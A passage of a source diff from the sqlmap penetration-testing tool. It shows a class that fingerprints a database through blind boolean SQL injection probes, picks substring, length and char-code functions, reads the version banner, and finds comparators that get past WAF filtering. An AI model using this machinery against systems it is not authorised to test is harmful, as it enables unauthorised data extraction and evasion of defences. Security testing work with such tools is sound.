# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes
|
||||
# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA)
|
||||
_ANSI_KEY_SPEC = (
|
||||
"INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS "
|
||||
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))")
|
||||
|
||||
_KEY_SPECS = {
|
||||
"INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC,
|
||||
"master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk
|
||||
"pg_catalog.pg_tables": (
|
||||
"information_schema.key_column_usage", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints "
|
||||
"WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"),
|
||||
"SYS.ALL_TABLES": (
|
||||
"SYS.ALL_CONS_COLUMNS", "table_name", "column_name",
|
||||
"constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS "
|
||||
"WHERE constraint_type IN ('P','U'))"),
|
||||
}
|
||||
|
||||
|
||||
# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump()
|
||||
_ROWID = (
|
||||
("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured
|
||||
("_ROWID_", "_ROWID_", "int"), # SQLite alias
|
||||
("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable)
|
||||
("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing
|
||||
("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number
|
||||
)
|
||||
|
||||
|
||||
# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their
|
||||
# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT
|
||||
# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works
|
||||
_ROWID_LITBOUND = frozenset(("ctid",))
|
||||
|
||||
|
||||
# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet
|
||||
_PRINTABLE = "".join(chr(_) for _ in range(32, 127))
|
||||
|
||||
|
||||
# _PRINTABLE sorted by code point (for ordinal/collation bisection)
|
||||
_PRINTABLE_SORTED = sorted(_PRINTABLE)
|
||||
|
||||
|
||||
# English-frequency-ordered charset (common letters first) so the equality scan needs
|
||||
# fewer probes on real text; completed with any remaining printable chars below
|
||||
_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz"
|
||||
"0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ")
|
||||
_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER)
|
||||
|
||||
|
||||
# highest Unicode code point: the upper bound for code-mode bisection
|
||||
_UNICODE_MAX = 0x10FFFF
|
||||
|
||||
|
||||
# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker
|
||||
# (extraction emits it instead of ever silently substituting/dropping a character)
|
||||
_REPL = u"\uFFFD"
|
||||
|
||||
|
||||
# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is
|
||||
# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of
|
||||
# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which
|
||||
# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value.
|
||||
_SOFT_WARNINGS = ("case", "collation", "recovered via hex")
|
||||
|
||||
|
||||
def _hardWarnings(warns):
|
||||
"""The integrity-class warnings in `warns` (those that impugn the recovered bytes)."""
|
||||
return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)]
|
||||
|
||||
|
||||
# py2/py3 shim: integer code point -> single char
|
||||
try:
|
||||
_unichr = unichr # py2
|
||||
except NameError:
|
||||
_unichr = chr # py3
|
||||
|
||||
# py2/py3 shim: the py2 unicode text type (str on py3)
|
||||
try:
|
||||
_unicode = unicode # py2
|
||||
except NameError:
|
||||
_unicode = str # py3
|
||||
|
||||
|
||||
def _native(s):
|
||||
# embed a literal as the native str type: on py2 a unicode value is encoded to
|
||||
# utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force
|
||||
# an ascii encode of non-ASCII data; on py3 str is already unicode-clean.
|
||||
if str is bytes and isinstance(s, _unicode): # py2 only
|
||||
return s.encode("utf-8")
|
||||
return s
|
||||
|
||||
|
||||
__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii']
|
||||
@@ -0,0 +1,604 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .atlas import _BANNER_KEYWORDS
|
||||
from .atlas import _BANNERS
|
||||
from .atlas import _BINWRAP
|
||||
from .atlas import _BYTELEN
|
||||
from .atlas import _CATALOGS
|
||||
from .atlas import _CHARCODE
|
||||
from .atlas import _CHARFROM
|
||||
from .atlas import _charsetCodec
|
||||
from .atlas import _CHARSET_PROBES
|
||||
from .atlas import _COALESCE
|
||||
from .atlas import _CONCAT
|
||||
from .atlas import _DUAL
|
||||
from .atlas import _DUAL_IMPLIES
|
||||
from .atlas import _HEXFN
|
||||
from .atlas import _IDENTITY
|
||||
from .atlas import _LENGTH
|
||||
from .atlas import _PREFIX
|
||||
from .atlas import _SUBSTRING
|
||||
from .atlas import _TEXTCAST
|
||||
from .records import Cap
|
||||
from .records import OracleUndecided
|
||||
|
||||
|
||||
class _Discovery(object):
|
||||
"""_Discovery
|
||||
|
||||
probe the target to build the Dialect; populates self.dialect, never extracts data."""
|
||||
|
||||
def discover(self):
|
||||
with self._probePhase():
|
||||
return self._discover()
|
||||
|
||||
def _discover(self):
|
||||
if not self._sanity():
|
||||
raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)")
|
||||
try:
|
||||
self._discoverSubstring()
|
||||
except RuntimeError:
|
||||
# MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a
|
||||
# pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/
|
||||
# code/hex fn.
|
||||
if self._fallbackPrefix():
|
||||
return self.dialect
|
||||
raise
|
||||
try:
|
||||
self._discoverLength()
|
||||
except RuntimeError:
|
||||
# no length fn - derive length from the substring's end behavior, provided
|
||||
# that end is observable (empty/NULL). one more laddered capability, so a
|
||||
# backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts.
|
||||
# if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor.
|
||||
if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"):
|
||||
if self._fallbackPrefix():
|
||||
return self.dialect
|
||||
raise
|
||||
self.dialect.notes.append("no length fn; length derived from substring end")
|
||||
self._discoverBytelen()
|
||||
self._discoverConcat()
|
||||
self._fixupLength()
|
||||
self._discoverTextcast()
|
||||
self._discoverCoalesce()
|
||||
self._discoverCompare()
|
||||
self._discoverComparator()
|
||||
self._discoverCharfrom()
|
||||
self._discoverCharset()
|
||||
self._discoverDual()
|
||||
self._discoverIdentity()
|
||||
self._discoverCatalog()
|
||||
self._checkCompat()
|
||||
self._discovered = True
|
||||
return self.dialect
|
||||
|
||||
def _fallbackPrefix(self):
|
||||
# pure LIKE/GLOB pattern-match floor: usable when there is no workable
|
||||
# substring+length combo (substring absent, or present but unmeasurable).
|
||||
# only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no
|
||||
# SUBSTR) are discovered; concat/compare/etc. stay None.
|
||||
if not self._discoverPrefix():
|
||||
return False
|
||||
self.dialect.substring = None # route retrieval to the pattern-match path
|
||||
self.dialect.length = None
|
||||
self.dialect.compare = "like"
|
||||
# the numeric/paging comparator is STILL needed here: catalog keyset paging relies on
|
||||
# it, and the constructor default 'gt'/_inOk=True would silently fail (returning only
|
||||
# the first row, no warning) on the very WAF that forced this floor. Discover the real
|
||||
# capability so paging uses NOT IN / brute-force honestly.
|
||||
self._discoverComparator()
|
||||
self._discoverCharfrom()
|
||||
self._discoverCharset()
|
||||
self._discoverDual()
|
||||
self._discoverCatalog()
|
||||
self._discovered = True
|
||||
return True
|
||||
|
||||
def _discoverPrefix(self):
|
||||
# LIKE/GLOB pattern match: 'sqlmap' <op> 'sq<multi>' true, 'zz<multi>' false.
|
||||
# also measure case-sensitivity ('a' <op> 'A').
|
||||
for op, multi, single in _PREFIX:
|
||||
if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \
|
||||
not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)):
|
||||
ci = self._ask("('a') %s 'A'" % op)
|
||||
self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci)
|
||||
return op
|
||||
return None
|
||||
|
||||
def identify(self):
|
||||
"""Fuse catalog family + required dual-table + version banner (+ behavioral
|
||||
tells) into a best-guess product with an evidence trail. Run after
|
||||
discover(). This is the CTF step: name the abomination on the other end."""
|
||||
d = self.dialect
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
ev = []
|
||||
if d.catalog:
|
||||
ev.append(("catalog = %s" % d.catalog, d.family))
|
||||
if d.dual and d.dual[0] != "bare":
|
||||
ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?")))
|
||||
product = None
|
||||
# best-effort naming: on a permission/charset wall a probe may be undecided;
|
||||
# degrade to whatever evidence was gathered rather than crash the verdict
|
||||
try:
|
||||
# cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner)
|
||||
if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")):
|
||||
ev.append(("|| is logical OR (not concat)", "MySQL family"))
|
||||
product = "MySQL"
|
||||
# the version banner is the EXPENSIVE part (blind-reading a long string), so
|
||||
# it is paid for ONLY when the catalog family can't name the product on its
|
||||
# own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific
|
||||
# catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and
|
||||
# --banner reads the full version explicitly via banner().
|
||||
if product is None and (not d.family or "ANSI" in d.family):
|
||||
val, implied = self._probeBanner()
|
||||
if val:
|
||||
ev.append(("banner", val))
|
||||
product = self._nameFromBanner(val) or implied
|
||||
if product is None and self._hasChars("@@version_comment"):
|
||||
comment = self.extract("@@version_comment", limit=64)
|
||||
if comment:
|
||||
ev.append(("@@version_comment", comment))
|
||||
product = self._nameFromBanner(comment)
|
||||
except OracleUndecided:
|
||||
ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)"))
|
||||
|
||||
d.product = product or d.family
|
||||
d.evidence = ev
|
||||
return {"product": d.product, "version": d.version, "family": d.family,
|
||||
"dual": d.dual[0] if d.dual else None, "compare": d.compare,
|
||||
"evidence": ev}
|
||||
|
||||
def _probeBanner(self):
|
||||
# blind-read the version string (expensive - a long string over the oracle).
|
||||
# caches on the dialect; returns (version, implied_product) - some exprs imply a
|
||||
# product just by existing (e.g. H2VERSION() -> H2)
|
||||
for _label, expr, prod, implies in _BANNERS:
|
||||
if self._hasChars(expr):
|
||||
val = self.extract(expr, limit=96)
|
||||
if val:
|
||||
self.dialect.version = val
|
||||
return val, (prod if implies else None)
|
||||
return None, None
|
||||
|
||||
def banner(self):
|
||||
"""The --banner action: the full version string, read on demand ONLY. The
|
||||
fingerprint never triggers this - naming the product (identify) is cheap and
|
||||
does not need the banner unless the catalog family is ambiguous."""
|
||||
if not self._discovered:
|
||||
self.discover()
|
||||
if self.dialect.version is None:
|
||||
try:
|
||||
self._probeBanner()
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return self.dialect.version
|
||||
|
||||
@staticmethod
|
||||
def _nameFromBanner(text):
|
||||
low = text.lower()
|
||||
for kw in _BANNER_KEYWORDS:
|
||||
if kw.lower() in low:
|
||||
return kw
|
||||
return None
|
||||
|
||||
def _discoverSubstring(self):
|
||||
for name, tmpl in _SUBSTRING:
|
||||
g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln)
|
||||
base = None
|
||||
if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)):
|
||||
base = 1
|
||||
elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)):
|
||||
base = 0
|
||||
if base is None:
|
||||
continue
|
||||
self.dialect.substring = Cap(name, tmpl, index_base=base)
|
||||
# base detection above CONFIRMS the substring fn works; the property
|
||||
# measurements below are best-effort and MUST NOT discard it - a probe the
|
||||
# oracle can't decide leaves the property at a safe default, never aborts.
|
||||
props = self.dialect.substring.props
|
||||
try:
|
||||
props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1))
|
||||
props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0))
|
||||
props["unit"] = self._substringUnit()
|
||||
except OracleUndecided:
|
||||
pass
|
||||
props.setdefault("beyond_end", "unknown")
|
||||
props.setdefault("zero_length", "unknown")
|
||||
props.setdefault("unit", "unknown")
|
||||
return name
|
||||
self.dialect.substring = None
|
||||
raise RuntimeError("no working substring function found")
|
||||
|
||||
def _codeCharTmpl(self):
|
||||
# a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets
|
||||
# the unicode PROPERTY probes build a multibyte test char server-side instead
|
||||
# of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers.
|
||||
if self._codeTmpl is None:
|
||||
self._codeTmpl = False
|
||||
# PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a
|
||||
# code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364)
|
||||
# is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII-
|
||||
# working constructor when no Unicode-capable one exists.
|
||||
for unicode_capable in (True, False):
|
||||
for _, tmpl in _CHARFROM:
|
||||
if not (self._ask("%s='a'" % tmpl.format(code=97)) and
|
||||
not self._ask("%s='b'" % tmpl.format(code=97))):
|
||||
continue
|
||||
if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)):
|
||||
continue
|
||||
self._codeTmpl = tmpl
|
||||
break
|
||||
if self._codeTmpl:
|
||||
break
|
||||
return self._codeTmpl or None
|
||||
|
||||
def _substringUnit(self):
|
||||
# char vs byte, ASCII-only + self-referential: SUBSTR(<mb>,1,1) returns the
|
||||
# whole char (== <mb>) if char-based, or a partial byte (!= <mb>) if byte-based.
|
||||
# <mb> is a multibyte codepoint built from its numeric code (no raw bytes sent).
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8)
|
||||
if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)):
|
||||
return "characters"
|
||||
return "bytes-or-unknown"
|
||||
|
||||
def _edgeBehavior(self, expr):
|
||||
if self._ask("%s=''" % expr):
|
||||
return "empty"
|
||||
if not self._ask("%s IS NOT NULL" % expr):
|
||||
return "null-or-error"
|
||||
return "other"
|
||||
|
||||
def _discoverLength(self):
|
||||
# prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2)
|
||||
# so length stays in the same unit as the char-indexed substring
|
||||
for prefer_chars in (True, False):
|
||||
for name, tmpl in _LENGTH:
|
||||
f = lambda s: tmpl.format(expr=s)
|
||||
if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))):
|
||||
continue
|
||||
try:
|
||||
unit = self._lengthUnit(f)
|
||||
except OracleUndecided:
|
||||
unit = "unknown"
|
||||
if prefer_chars and unit != "characters":
|
||||
continue
|
||||
trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space?
|
||||
empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL?
|
||||
self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing,
|
||||
empty_is_null=empty_null)
|
||||
return name
|
||||
self.dialect.length = None
|
||||
raise RuntimeError("no working length function found")
|
||||
|
||||
def _lengthUnit(self, f):
|
||||
# ASCII-only: measure the length of a multibyte char built from its code.
|
||||
# 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire.
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
mb = cf.format(code=0x20AC)
|
||||
if self._ask("%s=1" % f(mb)):
|
||||
return "characters"
|
||||
if self._ask("%s>=2" % f(mb)):
|
||||
return "bytes"
|
||||
return "unknown"
|
||||
|
||||
def _fixupLength(self):
|
||||
# a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates
|
||||
# any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat.
|
||||
L = self.dialect.length
|
||||
if not L or L.get("trailing"):
|
||||
return
|
||||
if self.dialect.concat:
|
||||
joined = self.dialect.concat[1].format(a="({expr})", b="'.'")
|
||||
props = dict(L.props, trailing=True)
|
||||
inner = "(%s)-1" % L[1].format(expr=joined)
|
||||
# a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1
|
||||
# is 0, which would report a NULL value as an empty string. Guard so a NULL input
|
||||
# still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'.
|
||||
tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner
|
||||
self.dialect.length = Cap(L.name + "+dot", tmpl, **props)
|
||||
self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name)
|
||||
else:
|
||||
self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it")
|
||||
|
||||
def _checkCompat(self):
|
||||
# substring positions and the length count must be in the SAME unit, else
|
||||
# the per-position walk desyncs on multibyte data
|
||||
s, ln = self.dialect.substring, self.dialect.length
|
||||
if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes":
|
||||
# HARD strategy change (not just a warning): a byte-count length would drive the
|
||||
# char-indexed substring walk PAST the end of a multibyte value. Discard it so
|
||||
# length is derived from the char-based substring instead - same unit, no desync.
|
||||
self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring")
|
||||
self.dialect.length = None
|
||||
|
||||
def _discoverBytelen(self):
|
||||
# a *byte*-length fn - distinguished from char length with a multibyte char
|
||||
# (a char-length fn would report 1). the char is built from its code (ASCII on
|
||||
# the wire); if it can't be built, the atlas name is trusted on the ASCII check.
|
||||
cf = self._codeCharTmpl()
|
||||
mb = cf.format(code=0x20AC) if cf else None
|
||||
for name, tmpl in _BYTELEN:
|
||||
try:
|
||||
if not self._ask("%s=2" % tmpl.format(expr="'AB'")):
|
||||
continue
|
||||
if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)):
|
||||
continue # counts chars, not bytes
|
||||
except OracleUndecided:
|
||||
continue
|
||||
self.dialect.bytelen = Cap(name, tmpl)
|
||||
return name
|
||||
|
||||
# casts with no length bound - hex-framing a value through these can never truncate it;
|
||||
# anything else may silently shorten a long value, so dump() verifies those cells at source
|
||||
_UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max",
|
||||
"cast_varchar_max", "cast_string"))
|
||||
|
||||
def _discoverTextcast(self):
|
||||
# a cast that stringifies a number: substr(cast(123),1,1)='1' and the
|
||||
# negative sign survives (substr(cast(-42),1,1)='-')
|
||||
for name, tmpl in _TEXTCAST:
|
||||
c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42")
|
||||
if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \
|
||||
self._lenEquals(c123, 3) and \
|
||||
self._ask("%s='-'" % self._sub(cneg, 1, 1)):
|
||||
self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS)
|
||||
return name
|
||||
|
||||
def _discoverCoalesce(self):
|
||||
# COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured*
|
||||
# property, not a requirement (on Oracle '' IS NULL, so it becomes 'X').
|
||||
for name, tmpl in _COALESCE:
|
||||
g = lambda e, fb: tmpl.format(expr=e, fallback=fb)
|
||||
if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)):
|
||||
empty_distinct = self._lenEquals(g("''", "'X'"), 0)
|
||||
self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct)
|
||||
return name
|
||||
|
||||
def _discoverDual(self):
|
||||
# the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint
|
||||
for name, frm in _DUAL:
|
||||
if self._ask("(SELECT 1%s)=1" % frm):
|
||||
self.dialect.dual = Cap(name, frm)
|
||||
return name
|
||||
|
||||
def _discoverConcat(self):
|
||||
# test via substring of the joined result to dodge numeric-coercion
|
||||
# false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.)
|
||||
for name, tmpl in _CONCAT:
|
||||
joined = tmpl.format(a="'sq'", b="'lm'")
|
||||
if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \
|
||||
self._lenEquals(joined, 4):
|
||||
self.dialect.concat = Cap(name, tmpl)
|
||||
# function-style concat (CONCAT(a,b)) may be VARIADIC - a flat
|
||||
# CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller
|
||||
# payload, less WAF/URL surface). operators (||/+) split() to "".
|
||||
func = tmpl.split("(")[0]
|
||||
if func:
|
||||
try:
|
||||
three = "%s('s','q','l')" % func
|
||||
if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3):
|
||||
self.dialect.concat.props["variadic"] = func
|
||||
except OracleUndecided:
|
||||
pass
|
||||
return name
|
||||
self.dialect.concat = None
|
||||
self.dialect.notes.append("no concatenation operator discovered")
|
||||
|
||||
def _discoverCompare(self):
|
||||
# 1) numeric code function - fast, unambiguous bisection
|
||||
one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71)
|
||||
for name, tmpl in _CHARCODE:
|
||||
code = tmpl.format(expr=one)
|
||||
if self._ask("%s=113" % code) and not self._ask("%s=112" % code):
|
||||
self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl))
|
||||
self.dialect.compare = "code"
|
||||
self.dialect.ordered = True
|
||||
return "code:%s" % name
|
||||
self.dialect.charcode = None
|
||||
|
||||
# 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a
|
||||
# code function (one compare per bisection) and recovers case under CI /
|
||||
# locale collations. tried before hex because it's cheaper.
|
||||
cf = self._codeCharTmpl()
|
||||
for name, tmpl in _BINWRAP:
|
||||
w = lambda s: tmpl.format(x=s)
|
||||
if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and
|
||||
not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and
|
||||
not self._ask("%s=%s" % (w("'a'"), w("'A'")))):
|
||||
continue
|
||||
# BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT
|
||||
# values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE)
|
||||
# and ACCENTS (many collations are accent-insensitive). One that folds either is
|
||||
# ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a
|
||||
# folded value (trailing-space or accent folding) to EXACT.
|
||||
if self._ask("%s=%s" % (w("'a'"), w("'a '"))): # trailing-space insensitive
|
||||
continue
|
||||
# accent test needs a char constructor to build the accented probe. If we HAVE one and
|
||||
# it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are
|
||||
# UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so
|
||||
# it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter).
|
||||
byte_exact = False
|
||||
if cf:
|
||||
if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))): # accent insensitive
|
||||
continue
|
||||
byte_exact = True
|
||||
self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact)
|
||||
self.dialect.compare = "collation"
|
||||
self.dialect.ordered = True
|
||||
if not byte_exact:
|
||||
self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char "
|
||||
"constructor) - used for ordering, not exactness")
|
||||
return "collation:%s" % name
|
||||
|
||||
# 3) hex/byte function - collation-independent, recovers letter case even
|
||||
# under case-insensitive collations (the key fallback when code fns are
|
||||
# filtered by a WAF)
|
||||
for name, tmpl in _HEXFN:
|
||||
enc = self._hexEncoding(tmpl)
|
||||
if enc is not None: # '' = usable, codec unknown (auto-detect)
|
||||
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
|
||||
self.dialect.compare = "hex"
|
||||
self.dialect.ordered = True
|
||||
return "hex:%s" % name
|
||||
|
||||
# 4) direct string comparison - only trustworthy where the collation follows
|
||||
# byte order (probe the ASCII case/range invariants first)
|
||||
byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'"))
|
||||
if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one):
|
||||
self.dialect.compare = "ordinal"
|
||||
self.dialect.ordered = True
|
||||
return "ordinal"
|
||||
|
||||
# 5) equality scan - case-correct only under a case-sensitive collation
|
||||
if not self._ask("'a'='A'"):
|
||||
self.dialect.compare = "equality"
|
||||
return "equality"
|
||||
|
||||
# 6) last resort: case-insensitive equality. letters recovered, CASE LOST
|
||||
# (no code/hex function and a CI collation - a genuine hard limit)
|
||||
self.dialect.compare = "equality-ci"
|
||||
self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable")
|
||||
return "equality-ci"
|
||||
|
||||
# STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1,
|
||||
# !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary
|
||||
# (2>2 must be FALSE) and would then read every count/length/code off by one. Each
|
||||
# candidate must reproduce '>' at the equality boundary AND across zero and negatives.
|
||||
_GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False),
|
||||
(0, -1, True), (0, 0, False), (0, 1, False),
|
||||
(-2, -3, True), (-2, -2, False), (-2, -1, False))
|
||||
|
||||
def _provesGt(self, render):
|
||||
# render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches
|
||||
# strict '>' on EVERY truth-table row (equality boundary + zero + negative domain).
|
||||
try:
|
||||
for a, b, want in self._GT_TRUTH:
|
||||
if bool(self._ask(render(a, b))) != want:
|
||||
return False
|
||||
except OracleUndecided:
|
||||
return False
|
||||
return True
|
||||
|
||||
def _discoverComparator(self):
|
||||
# how to express "value > threshold" for bisection. A WAF that strips '<'/'>'
|
||||
# (very common) would otherwise leave code-mode picking '>' and silently
|
||||
# failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall
|
||||
# to order-free IN() subset bisection which needs only '=' membership.
|
||||
HUGE = 1 << 62
|
||||
try:
|
||||
if self._provesGt(lambda a, b: "%d>%d" % (a, b)):
|
||||
self._comparator = "gt"
|
||||
elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)):
|
||||
self._comparator = "between"
|
||||
self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
|
||||
elif self._discoverOperatorFreeComparator():
|
||||
# picked an ordered (log2) comparator that needs NO comparison operator - see below
|
||||
pass
|
||||
else:
|
||||
self._comparator = "membership"
|
||||
self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection")
|
||||
self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)")
|
||||
except OracleUndecided:
|
||||
pass # keep the safe defaults (gt / IN-ok)
|
||||
|
||||
def _discoverOperatorFreeComparator(self):
|
||||
# Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN):
|
||||
# each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the
|
||||
# comparison operators. Each must pass the FULL signed truth table (not a 3-point positive
|
||||
# probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET
|
||||
# with lo==hi at n=-1) is rejected instead of silently misreading signed values.
|
||||
candidates = (
|
||||
("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS
|
||||
("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered
|
||||
("least", "LEAST(({expr}),({n})+1)=({n})+1"), # GREATEST/LEAST family (expr once)
|
||||
("nullif", "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering
|
||||
("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"), # PostgreSQL / Oracle
|
||||
("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB
|
||||
)
|
||||
for name, tmpl in candidates:
|
||||
if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)):
|
||||
self._comparator = name
|
||||
self._cmpTemplate = tmpl
|
||||
self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper())
|
||||
return True
|
||||
return False
|
||||
|
||||
def _charcodeSemantics(self, tmpl):
|
||||
# ASCII-only ROUND-TRIP: build a char from its code, then read the code back.
|
||||
# code(char(N))==N means extract-then-rebuild is faithful for N. no raw
|
||||
# non-ASCII byte ever crosses the URL/app/DBMS encoding layers.
|
||||
cf = self._codeCharTmpl()
|
||||
if not cf:
|
||||
return "unknown"
|
||||
code = lambda n: tmpl.format(expr=cf.format(code=n))
|
||||
try:
|
||||
